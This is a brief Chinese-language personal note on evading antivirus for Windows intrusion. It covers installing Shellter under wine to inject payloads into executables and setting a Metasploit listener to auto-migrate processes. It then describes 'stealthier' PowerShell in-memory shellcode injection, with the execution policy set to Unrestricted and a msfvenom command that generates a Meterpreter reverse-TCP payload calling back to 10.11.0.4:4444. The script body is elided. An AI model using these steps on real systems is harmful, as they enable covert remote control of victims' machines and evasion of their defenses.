记录文
shellter
apt install wine
apt install shellter
# 剩下的自己摸索，没多难
最后用msf监听的的时候需要设置：set AutoRunScript post/windows/manage/migrate 用于转移进程
通过PowerShell进行内存注入
比较隐蔽
查看并设置执行限制
Get-ExecutionPolicy -Scope CurrentUser
Undefined
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
Get-ExecutionPolicy -Scope CurrentUser
Unrestricted
脚本代码
......
[Byte[]];
[Byte[]]$sc = <place your shellcode here>; # 示例shellCode：msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f powershell
......
